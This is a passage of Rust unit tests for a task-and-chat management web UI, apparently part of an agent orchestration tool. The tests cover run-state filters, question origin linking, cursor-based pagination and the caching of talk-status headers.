25096 .find(done_rule_marker)
25097 .expect("the done rule follows the shape list")
25098 + shapes_close
25099 + done_rule_marker.len();
25100 let includes_at = APP_JS[done_rule_at..]
25101 .find(".includes(shape.status)")
25102 .expect("the done rule ends in .includes(shape.status)")
25103 + done_rule_at;
25104 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25105 .trim()
25106 .trim_start_matches('[')
25107 .trim_end_matches(']')
25108 .split(',')
25109 .map(|s| s.trim().trim_matches('"'))
25110 .filter(|s| !s.is_empty())
25111 .collect();
25112
25113 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25114 .into_iter()
25115 .map(|(waiting, status, dead, parked)| {
25116 let done = !not_done.contains(&status.as_str());
25117 (waiting, status, dead, parked, done)
25118 })
25119 .collect();
25120
25121 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25125 if waiting {
25126 return "waiting";
25127 }
25128 if dead
25129 && !parked
25130 && !matches!(
25131 status,
25132 "merged"
25133 | "ready"
25134 | "stalled"
25135 | "blocked"
25136 | "failed"
25137 | "verified_noop"
25138 | "superseded"
25139 | "already_in_base"
25140 )
25141 {
25142 return "stale";
25143 }
25144 match status {
25145 "merged" | "ready" => "landed",
25146 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25147 | "already_in_base" => "ended",
25148 _ => "flight",
25149 }
25150 }
25151
25152 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25155 match filter_key {
25156 "active" => !done,
25157 "flight" => !done && !waiting && !dead,
25158 "stale" => !done && !waiting && dead,
25159 "waiting" => waiting,
25160 "done" => done,
25161 "all" => true,
25162 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25163 }
25164 }
25165
25166 let compatible = |section: &str, filter_key: &str| {
25167 shapes.iter().any(|(waiting, status, dead, parked, done)| {
25168 run_section(*waiting, status, *dead, *parked) == section
25169 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25170 })
25171 };
25172
25173 let expected = [
25178 ("waiting", [true, false, false, true, true, true]),
25179 ("stale", [true, false, true, false, false, true]),
25180 ("flight", [true, true, false, false, false, true]),
25181 ("landed", [false, false, false, false, true, true]),
25182 ("ended", [false, false, false, false, true, true]),
25183 ];
25184 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25185
25186 for (section, wants) in expected {
25187 for (filter_key, want) in filter_keys.iter().zip(wants) {
25188 assert_eq!(
25189 compatible(section, filter_key),
25190 want,
25191 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25192 );
25193 }
25194 }
25195
25196 assert!(
25199 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25200 );
25201 assert!(APP_JS.contains(
25202 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25203 ));
25204 assert!(APP_JS.contains(
25205 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25206 ));
25207 }
25208
25209 #[tokio::test]
25210 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25211 let dir = tempfile::tempdir().expect("tempdir");
25215 let explicit = dir.path().join("not-a-checkout");
25216 std::fs::create_dir_all(&explicit).expect("create dir");
25217 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25218
25219 let missing = dir.path().join("does-not-exist-at-all");
25220 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25221 }
25222
25223 #[test]
25224 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25225 assert!(APP_JS.contains("function statsDonutArcs"));
25226 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25227 assert!(APP_JS.contains("function statusInBucket"));
25229 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25230 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25231 let buckets = [
25232 "merged",
25233 "ready",
25234 "in_progress",
25235 "blocked",
25236 "failed",
25237 "verified_noop",
25238 "superseded",
25239 "stalled",
25240 ];
25241 for key in buckets {
25242 let var = format!("--verdict-{key}:");
25243 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25245 assert!(
25246 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25247 "{key}"
25248 );
25249 }
25250 }
25251
25252 #[tokio::test]
25253 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25254 let dir = tempfile::tempdir().expect("tempdir");
25255 let queue = Queue::at(dir.path().join("queue"));
25256 let talks = Talks::at(dir.path().join("talks"));
25257 std::fs::create_dir_all(queue.root()).unwrap();
25258 std::fs::create_dir_all(talks.root()).unwrap();
25259
25260 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25262 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25263
25264 let mut task = Task::new(
25266 "title".into(),
25267 "inst".into(),
25268 PathBuf::from("/repo"),
25269 Source::Human,
25270 );
25271 task.id = "20261019-123456-abcd".into();
25272 std::fs::write(
25274 queue.path_of(&task.id),
25275 serde_json::to_string(&task).unwrap(),
25276 )
25277 .unwrap();
25278
25279 let talk_id = "20261019-234567-cdef";
25280 seed_talk_at(&talks, talk_id, "open");
25281
25282 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25284 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25285
25286 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25288 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25289 }
25290
25291 #[tokio::test]
25292 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25293 let home = tempfile::tempdir().unwrap();
25294 let ui = delta_test_ui(home.path());
25295 std::fs::write(ui.queue.root(), "not a directory").unwrap();
25297 std::fs::write(ui.talks.root(), "not a directory").unwrap();
25298 assert!(
25299 questions_list(State(ui.clone()))
25300 .await
25301 .unwrap()
25302 .0
25303 .is_empty()
25304 );
25305 assert!(
25306 question_origins(State(ui.clone()))
25307 .await
25308 .unwrap()
25309 .0
25310 .is_empty()
25311 );
25312 let mut question = Question::new(
25313 "run-history".into(),
25314 "review".into(),
25315 "seat".into(),
25316 "Useful question".into(),
25317 "Useful detail".into(),
25318 vec![],
25319 );
25320 ui.questions.put(&mut question).unwrap();
25321 let core = questions_core(State(ui.clone())).await.unwrap().0;
25322 assert_eq!(core.len(), 1);
25323 assert_eq!(core[0].question.summary, "Useful question");
25324 assert!(!core[0].can_consult_chat);
25325 assert!(core[0].origin_chat.is_none());
25326 assert_eq!(core[0].record_revision, question_record_revision(&question));
25327 assert!(question_origins(State(ui.clone())).await.is_err());
25328 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25329 }
25330
25331 #[tokio::test]
25332 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25333 let home = tempfile::tempdir().unwrap();
25334 let ui = delta_test_ui(home.path());
25335 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25336 let mut parent = Task::new(
25337 "parent".into(),
25338 "body".into(),
25339 PathBuf::from("/repo"),
25340 Source::Agent {
25341 run: chat.clone(),
25342 node: crate::queue::CHAT_NODE.into(),
25343 },
25344 );
25345 parent.id = "parent-task".into();
25346 parent.runs = vec!["parent-run".into()];
25347 ui.queue.put(&mut parent).unwrap();
25348 let mut previous = parent;
25349 for generation in 1..=2 {
25350 let mut child = Task::new(
25351 "child".into(),
25352 "body".into(),
25353 PathBuf::from("/repo"),
25354 Source::Human,
25355 );
25356 child.id = format!("child-task-{generation}");
25357 child.runs = vec![format!("child-run-{generation}")];
25358 child.followup = Some(crate::queue::FollowUp {
25359 origin_task: Some(previous.id.clone()),
25360 run: previous.runs[0].clone(),
25361 pr: String::new(),
25362 findings: vec![],
25363 generation,
25364 });
25365 ui.queue.put(&mut child).unwrap();
25366 previous = child;
25367 }
25368 let mut collision = Task::new(
25371 "collision".into(),
25372 String::new(),
25373 PathBuf::from("/repo"),
25374 Source::Human,
25375 );
25376 collision.id = "collision-task".into();
25377 collision.runs = vec![previous.id.clone()];
25378 ui.queue.put(&mut collision).unwrap();
25379 let mut questions = Vec::new();
25380 for (node, reference, expected, eligible) in [
25381 (crate::triage::NODE, previous.id.as_str(), true, false),
25382 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25383 ("review", previous.runs[0].as_str(), true, true),
25384 (
25385 crate::bump::NOTICE_NODE,
25386 previous.runs[0].as_str(),
25387 true,
25388 false,
25389 ),
25390 ("review", previous.id.as_str(), false, false),
25392 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25393 ("review", "unrelated", false, false),
25394 ] {
25395 let mut q = Question::new(
25396 reference.into(),
25397 node.into(),
25398 "seat".into(),
25399 "Question".into(),
25400 String::new(),
25401 vec![],
25402 );
25403 ui.questions.put(&mut q).unwrap();
25404 questions.push((q, expected, eligible));
25405 }
25406 for (node, reference, associated, eligible) in [
25407 (crate::reconcile::NODE, previous.id.as_str(), true, false),
25408 (
25409 crate::reconcile::NODE,
25410 previous.runs[0].as_str(),
25411 false,
25412 true,
25413 ),
25414 ("implement", previous.id.as_str(), false, false),
25415 ] {
25416 let mut q = Question::new(
25417 reference.into(),
25418 node.into(),
25419 crate::reconcile::SEAT.into(),
25420 "Reconcile".into(),
25421 String::new(),
25422 vec![],
25423 );
25424 ui.questions.put(&mut q).unwrap();
25425 questions.push((q, associated, eligible));
25426 }
25427 let mut release = Question::new(
25428 "release-record".into(),
25429 crate::bump::NOTICE_NODE.into(),
25430 "release-watch".into(),
25431 "Release".into(),
25432 String::new(),
25433 vec![],
25434 );
25435 ui.questions.put(&mut release).unwrap();
25436 let watch = crate::release_watch::WatchState {
25437 question: Some(release.id.clone()),
25438 run: Some(previous.runs[0].clone()),
25439 held_task: Some(previous.id.clone()),
25440 ..Default::default()
25441 };
25442 let watch_dir = home.path().join("release-watch");
25443 std::fs::create_dir_all(&watch_dir).unwrap();
25444 let watch_path = watch_dir.join("watch.json");
25445 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25446 for batch in [
25448 Vec::new(),
25449 questions.iter().map(|(q, _, _)| q.clone()).collect(),
25450 ] {
25451 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25452 assert!(watches.is_empty());
25453 }
25454 questions.push((release.clone(), true, false));
25455
25456 let views = questions_list(State(ui.clone())).await.unwrap().0;
25457 let origins = question_origins(State(ui.clone())).await.unwrap().0;
25458 for (q, associated, eligible) in &questions {
25459 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25460 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25461 let expected = associated.then_some(chat.as_str());
25462 assert_eq!(
25463 view.origin_chat.as_deref(),
25464 expected,
25465 "{} {}",
25466 q.node,
25467 q.run
25468 );
25469 assert_eq!(origin.origin_chat.as_deref(), expected);
25470 assert_eq!(view.origin_chat_closed, *associated);
25471 assert_eq!(origin.origin_chat_closed, *associated);
25472 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25473 assert_eq!(origin.can_consult_chat, *eligible);
25474 }
25475 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25477 let link = crate::release_watch::WatchState {
25478 run,
25479 held_task,
25480 ..watch.clone()
25481 };
25482 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25483 let (tasks, talks, watches) =
25484 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25485 assert_eq!(
25486 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25487 .unwrap()
25488 .id,
25489 chat,
25490 );
25491 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25492 }
25493 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25494 let duplicate_path = watch_dir.join("duplicate.json");
25496 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25497 let (tasks, talks, watches) =
25498 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25499 assert!(
25500 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25501 .is_none()
25502 );
25503 std::fs::remove_file(duplicate_path).unwrap();
25504 let mut unrelated = Task::new(
25506 "other".into(),
25507 String::new(),
25508 PathBuf::from("/repo"),
25509 Source::Human,
25510 );
25511 unrelated.id = "unrelated-task".into();
25512 ui.queue.put(&mut unrelated).unwrap();
25513 let mut conflicting = watch.clone();
25514 conflicting.held_task = Some(unrelated.id);
25515 std::fs::write(
25516 watch_dir.join("conflict.json"),
25517 serde_json::to_vec(&conflicting).unwrap(),
25518 )
25519 .unwrap();
25520 let (tasks, talks, watches) =
25521 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25522 assert!(
25523 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25524 .is_none()
25525 );
25526 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25527 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25528 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25529 assert!(origin.origin_chat.is_none());
25530 assert!(!origin.origin_chat_closed);
25531 }
25532 }
25533
25534 #[test]
25535 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25536 let home = tempfile::tempdir().unwrap();
25537 let ui = delta_test_ui(home.path());
25538 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25539 for i in 0..1000 {
25540 let mut task = Task::new(
25541 "unrelated".into(),
25542 "instruction ".repeat(256),
25543 PathBuf::from("/repo"),
25544 Source::Human,
25545 );
25546 task.id = format!("history-{i:04}");
25547 ui.queue.put(&mut task).unwrap();
25548 let id = seed_talk_at(&ui.talks, &task.id, "open");
25549 let mut talk = ui.talks.get(&id).unwrap();
25550 talk.pending = "history ".repeat(256);
25551 ui.talks.put(&mut talk).unwrap();
25552 }
25553 let mut parent = Task::new(
25554 "parent".into(),
25555 "body".into(),
25556 PathBuf::from("/repo"),
25557 Source::Agent {
25558 run: chat_id.clone(),
25559 node: crate::queue::CHAT_NODE.into(),
25560 },
25561 );
25562 parent.id = "task-parent".into();
25563 parent.runs = vec!["run-parent".into()];
25564 ui.queue.put(&mut parent).unwrap();
25565 let mut child = Task::new(
25566 "child".into(),
25567 "body".into(),
25568 PathBuf::from("/repo"),
25569 Source::Human,
25570 );
25571 child.id = "task-child".into();
25572 child.runs = vec!["run-child".into()];
25573 child.followup = Some(crate::queue::FollowUp {
25574 run: "run-parent".into(),
25575 origin_task: Some(parent.id.clone()),
25576 pr: "https://example.invalid/pr/1".into(),
25577 findings: vec![],
25578 generation: 1,
25579 });
25580 ui.queue.put(&mut child).unwrap();
25581 let mut question = Question::new(
25582 child.id.clone(),
25583 crate::conduct::NODE.into(),
25584 "seat".into(),
25585 "Continue?".into(),
25586 String::new(),
25587 vec![],
25588 );
25589 let (tasks, talks, _watches) =
25590 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25591 assert_eq!(tasks.len(), 2);
25592 assert_eq!(talks.len(), 1);
25593 assert_eq!(
25594 ui.monitor.queue_index.lock().unwrap().reparsed,
25595 0,
25596 "exact ancestry bypasses the index"
25597 );
25598 assert_eq!(
25599 crate::consult::origin_talk(&tasks, &talks, &question)
25600 .unwrap()
25601 .id,
25602 chat_id
25603 );
25604 question.run = "run-child".into();
25605 question.node = "review".into();
25606 for origin_task in [Some(parent.id.clone()), None] {
25607 child.followup.as_mut().unwrap().origin_task = origin_task;
25608 ui.queue.put(&mut child).unwrap();
25609 let (tasks, talks, _watches) =
25610 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25611 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25612 let expected =
25613 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25614 .unwrap();
25615 assert_eq!(actual.id, expected.id);
25616 assert!(!actual.status.open());
25617 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25618 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25619 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25622 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25623 }
25624 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25625 ui.queue.put(&mut child).unwrap();
25626 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25627 let (tasks, talks, _watches) =
25628 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25629 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25630 child.origin_chat = Some(chat_id.clone());
25631 ui.queue.put(&mut child).unwrap();
25632 let (tasks, talks, _watches) =
25633 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25634 assert_eq!(
25635 crate::consult::origin_talk(&tasks, &talks, &question)
25636 .unwrap()
25637 .id,
25638 chat_id
25639 );
25640 let revision = question_record_revision(&question);
25641 question.abandon("settled elsewhere");
25642 assert_ne!(revision, question_record_revision(&question));
25643 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25644 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25645 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25646 let (tasks, talks, _watches) =
25647 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25648 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25649 }
25650
25651 #[test]
25652 fn list_cursors_freeze_membership_and_expire_explicitly() {
25653 let home = tempfile::tempdir().unwrap();
25654 let ui = delta_test_ui(home.path());
25655 std::fs::create_dir_all(ui.queue.root()).unwrap();
25656 for i in 0..40 {
25657 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25658 }
25659 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25660 assert_eq!(first.len(), STORE_PAGE_SIZE);
25661 let cursor = cursor.unwrap();
25662 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25663 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25664 let (second, _) = page_ids(
25665 &ui,
25666 false,
25667 PageQuery {
25668 before: Some(cursor.clone()),
25669 },
25670 )
25671 .unwrap();
25672 assert_eq!(second[0], "record-0023");
25673 assert!(second.iter().all(|id| !first.contains(id)));
25674 assert!(
25675 page_ids(
25676 &ui,
25677 true,
25678 PageQuery {
25679 before: Some(cursor.clone())
25680 }
25681 )
25682 .is_err()
25683 );
25684 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25685 assert_eq!(fresh[0], "record-9999");
25686 ui.monitor.list_walks.lock().unwrap().clear();
25687 assert!(
25688 page_ids(
25689 &ui,
25690 false,
25691 PageQuery {
25692 before: Some(cursor)
25693 }
25694 )
25695 .is_err()
25696 );
25697 }
25698
25699 #[tokio::test]
25700 async fn talk_pages_load_every_open_then_frozen_closed_history() {
25701 let home = tempfile::tempdir().unwrap();
25702 let ui = delta_test_ui(home.path());
25703 for i in 0..23 {
25705 seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25706 }
25707 for i in 0..45 {
25708 seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25709 }
25710 std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25711 let first = talks_page(
25712 State(ui.clone()),
25713 Query(PageQuery::default()),
25714 header::HeaderMap::new(),
25715 )
25716 .await
25717 .unwrap()
25718 .0;
25719 assert_eq!(
25720 first.rows.iter().filter(|row| row.status.open()).count(),
25721 23
25722 );
25723 assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25724 assert!(first.rows[..23].iter().all(|row| row.status.open()));
25725 let parsed = ui
25726 .monitor
25727 .talk_parses
25728 .load(std::sync::atomic::Ordering::Relaxed);
25729 assert_eq!(
25730 parsed,
25731 first.rows.len(),
25732 "closed bodies outside this page are not restored"
25733 );
25734 let fresh = talks_page(
25735 State(ui.clone()),
25736 Query(PageQuery::default()),
25737 header::HeaderMap::new(),
25738 )
25739 .await
25740 .unwrap()
25741 .0;
25742 assert_eq!(fresh.rows.len(), first.rows.len());
25743 assert_eq!(
25744 ui.monitor
25745 .talk_parses
25746 .load(std::sync::atomic::Ordering::Relaxed),
25747 parsed
25748 );
25749 let mut seen: std::collections::HashSet<_> =
25750 first.rows.iter().map(|row| row.id.clone()).collect();
25751 seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25753 seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25754 std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25755 let mut next = first.next;
25756 while let Some(cursor) = next {
25757 let page = talks_page(
25758 State(ui.clone()),
25759 Query(PageQuery {
25760 before: Some(cursor),
25761 }),
25762 header::HeaderMap::new(),
25763 )
25764 .await
25765 .unwrap()
25766 .0;
25767 assert!(page.rows.len() <= STORE_PAGE_SIZE);
25768 for row in page.rows {
25769 assert!(seen.insert(row.id), "a cursor must not repeat membership");
25770 }
25771 next = page.next;
25772 }
25773 let expected: HashSet<_> = (0..23)
25774 .map(|i| format!("20260101-000000-{i:03}"))
25775 .chain(
25776 (0..45)
25777 .filter(|i| *i != 1)
25778 .map(|i| format!("20261019-000000-{i:03}")),
25779 )
25780 .collect();
25781 assert_eq!(
25782 seen, expected,
25783 "the cursor walk must return every surviving ID"
25784 );
25785 let refreshed = talks_page(
25786 State(ui.clone()),
25787 Query(PageQuery::default()),
25788 header::HeaderMap::new(),
25789 )
25790 .await
25791 .unwrap()
25792 .0;
25793 assert_eq!(
25794 refreshed
25795 .rows
25796 .iter()
25797 .filter(|row| row.status.open())
25798 .count(),
25799 23
25800 );
25801 assert!(
25802 refreshed
25803 .rows
25804 .iter()
25805 .any(|row| row.id == "20261019-000000-000")
25806 );
25807 assert!(
25808 !refreshed
25809 .rows
25810 .iter()
25811 .any(|row| row.id == "20260101-000000-000")
25812 );
25813 }
25814
25815 #[test]
25816 fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25817 let home = tempfile::tempdir().unwrap();
25818 let ui = delta_test_ui(home.path());
25819 for i in 0..STORE_PAGE_SIZE + 5 {
25820 seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25821 }
25822 let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25823 assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25824 assert!(next.is_none());
25825 }
25826
25827 #[test]
25828 fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25829 struct Counted<R> {
25830 inner: R,
25831 bytes: usize,
25832 }
25833 impl<R: std::io::Read> std::io::Read for Counted<R> {
25834 fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25835 let n = self.inner.read(buf)?;
25836 self.bytes += n;
25837 Ok(n)
25838 }
25839 }
25840 let home = tempfile::tempdir().unwrap();
25841 let ui = delta_test_ui(home.path());
25842 let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25843 let mut chat = ui.talks.get(&id).unwrap();
25844 for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25845 chat.turns = vec![
25846 serde_json::from_value(serde_json::json!({
25847 "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25848 }))
25849 .unwrap(),
25850 ];
25851 for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25852 chat.status = status;
25853 let body = serde_json::to_vec_pretty(&chat).unwrap();
25855 let mut reader = Counted {
25856 inner: body.as_slice(),
25857 bytes: 0,
25858 };
25859 assert_eq!(read_talk_status(&mut reader), Some(status));
25860 assert!(
25861 reader.bytes <= 1024,
25862 "header classification read {} bytes",
25863 reader.bytes
25864 );
25865 }
25866 }
25867 let noncanonical = format!(
25870 r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
25871 "x".repeat(1024 * 1024)
25872 );
25873 let mut reader = Counted {
25874 inner: noncanonical.as_bytes(),
25875 bytes: 0,
25876 };
25877 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25878 assert!(reader.bytes <= 1024);
25879 let oversized = format!(
25880 r#"{{"agent":"{}","status":"open"}}"#,
25881 "x".repeat(128 * 1024)
25882 );
25883 let mut reader = Counted {
25884 inner: oversized.as_bytes(),
25885 bytes: 0,
25886 };
25887 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25888 assert!(reader.bytes <= 64 * 1024);
25889 }
25890
25891 #[test]
25892 fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
25893 let home = tempfile::tempdir().unwrap();
25894 let ui = delta_test_ui(home.path());
25895 seed_talk_at(&ui.talks, "header-chat", "open");
25896 std::fs::create_dir_all(ui.queue.root()).unwrap();
25897 let (started, ready) = std::sync::mpsc::channel();
25898 let (release, wait) = std::sync::mpsc::channel();
25899 let chat_ui = ui.clone();
25900 let scan = std::thread::spawn(move || {
25901 page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
25902 started.send(()).unwrap();
25903 wait.recv().unwrap();
25904 open_talk_ids(ui, ids)
25905 })
25906 .unwrap()
25907 });
25908 ready.recv_timeout(Duration::from_secs(2)).unwrap();
25909 let (finished, result) = std::sync::mpsc::channel();
25910 let queue = std::thread::spawn(move || {
25911 finished
25912 .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25913 .unwrap();
25914 });
25915 let completed = result.recv_timeout(Duration::from_secs(2));
25916 release.send(()).unwrap();
25918 scan.join().unwrap();
25919 queue.join().unwrap();
25920 assert!(
25921 completed.unwrap(),
25922 "queue paging must not wait for chat header I/O"
25923 );
25924 }
25925
25926 #[test]
25927 fn talk_status_projection_does_not_cache_files_changed_during_read() {
25928 let home = tempfile::tempdir().unwrap();
25929 let ui = delta_test_ui(home.path());
25930 let ids = vec!["changing-chat".to_owned()];
25931 seed_talk_at(&ui.talks, &ids[0], "closed");
25932 assert!(open_talk_ids(&ui, &ids).is_empty());
25933 seed_talk_at(&ui.talks, &ids[0], "open");
25934 let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
25935 let value: serde_json::Value =
25936 serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25937 seed_talk_at(&ui.talks, &ids[0], "closed");
25939 serde_json::from_value(value["status"].clone()).ok()
25940 });
25941 assert!(open.contains(&ids[0]));
25942 assert!(
25943 ui.monitor
25944 .talk_status_index
25945 .lock()
25946 .unwrap()
25947 .records
25948 .is_empty()
25949 );
25950 assert!(open_talk_ids(&ui, &ids).is_empty());
25951 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25952 }
25953
25954 #[test]
25955 fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
25956 let home = tempfile::tempdir().unwrap();
25957 let ui = delta_test_ui(home.path());
25958 let ids = vec!["same-stamp-chat".to_owned()];
25959 seed_talk_at(&ui.talks, &ids[0], "open");
25960 ui.monitor.talk_status_index.lock().unwrap().records.insert(
25963 ids[0].clone(),
25964 (
25965 file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
25966 Some(talk::TalkStatus::Closed),
25967 ),
25968 );
25969 let open = open_talk_ids_with(&ui, &ids, false, |path| {
25970 std::fs::File::open(path).ok().and_then(read_talk_status)
25971 });
25972 assert!(
25973 open.contains(&ids[0]),
25974 "an untrusted cache hit must still read the current header"
25975 );
25976 assert!(
25977 ui.monitor
25978 .talk_status_index
25979 .lock()
25980 .unwrap()
25981 .records
25982 .is_empty()
25983 );
25984 seed_talk_at(&ui.talks, &ids[0], "closed");
25985 assert!(
25986 open_talk_ids_with(&ui, &ids, false, |path| {
25987 std::fs::File::open(path).ok().and_then(read_talk_status)
25988 })
25989 .is_empty()
25990 );
25991 let index = ui.monitor.talk_status_index.lock().unwrap();
25992 assert_eq!(index.parses, 2);
25993 assert!(
25994 index.records.is_empty(),
25995 "untrusted fingerprints must never publish cache entries"
25996 );
25997 }
25998
25999 #[test]
26000 fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26001 let home = tempfile::tempdir().unwrap();
26002 let ui = delta_test_ui(home.path());
26003 let headers = header::HeaderMap::new();
26004 seed_talk_at(&ui.talks, "open-chat", "open");
26005 seed_talk_at(&ui.talks, "closed-chat", "closed");
26006 talk_rows(
26007 &ui,
26008 vec!["open-chat".into(), "closed-chat".into()],
26009 &headers,
26010 );
26011 {
26012 let mut index = ui.monitor.talk_index.lock().unwrap();
26013 let closed = index["closed-chat"].1.clone();
26014 for i in 0..1000 {
26015 index.insert(
26016 format!("cached-closed-{i}"),
26017 (
26018 file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26019 closed.clone(),
26020 ),
26021 );
26022 }
26023 }
26024 assert_eq!(
26025 talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26026 1
26027 );
26028 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26029 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26030 assert_eq!(
26031 ui.monitor
26032 .talk_parses
26033 .load(std::sync::atomic::Ordering::Relaxed),
26034 2
26035 );
26036 {
26037 let mut index = ui.monitor.talk_index.lock().unwrap();
26038 let open = index["open-chat"].1.clone();
26039 for i in 0..1000 {
26040 index.insert(
26041 format!("cached-open-{i}"),
26042 (
26043 file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26044 open.clone(),
26045 ),
26046 );
26047 }
26048 }
26049 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26051 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26052 assert_eq!(
26053 ui.monitor
26054 .talk_parses
26055 .load(std::sync::atomic::Ordering::Relaxed),
26056 2
26057 );
26058 }
26059
26060 #[test]
